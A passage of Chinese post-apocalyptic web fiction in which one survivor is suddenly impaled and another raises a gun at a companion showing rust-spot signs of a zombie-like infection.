“……”黎歌哑口无言,也意识到了自己的失态。她不得不深呼吸几口,调整状态,她太紧张了,就像霍青山说的那样,她厌恶一切不受控的事情。 这个人只是闪现了2秒,不一定是人,可能只是海市蜃楼而已。 否则,人怎么可能凭空出现呢? 但是,这个人太眼熟了。黎歌烦躁地抠着小刀的刀把:“他好像是我的前桌。他不应该出现在这里。” 他不是去了3区吗? 突然,辛辣味像刺刀一样猛地扎在黎歌的痛觉神经上! 久违又熟悉的痛苦,黎歌紧紧捂住头,转过身,看见霍青山的胸口被尖刺贯穿了。血流决堤般涌了下来。 “小孩……我这是……怎么了?” 补给站内,常乐关好了金属门,然后遵守诺言把三道锁都锁上了。她一边哼着儿歌,转身朝训练房而去。 方京华拿着充能枪直直地站在门口,面无表情地与她对视。 常乐愣了下,继而对她展开了笑脸:“你想去练枪?你去吧,模拟器让给你,我先去跑步机跑一跑。” 说着话,她一边伸懒腰,与方京华擦身而过,略带撒娇地语气自言自语道:“人是铁,饭是钢,一顿不吃饿得慌,三顿不吃呢,那不是直接瘦死!我们该运动运动,再等四个小时,黎小歌她们就能带着吃的回来了。我要吃肉,吃大口的……” 方京华端着枪,视线落在了常乐裸露的脖子上——那里,长出了两条10公分的锈斑。 日记提到,感染了鼠疫的人虫会长出锈斑。 一旦长出了锈斑,人虫会失去理智,进行无差别攻击。 就好像丧尸一样。 充能枪被举了起来,瞄准了她清秀的背影。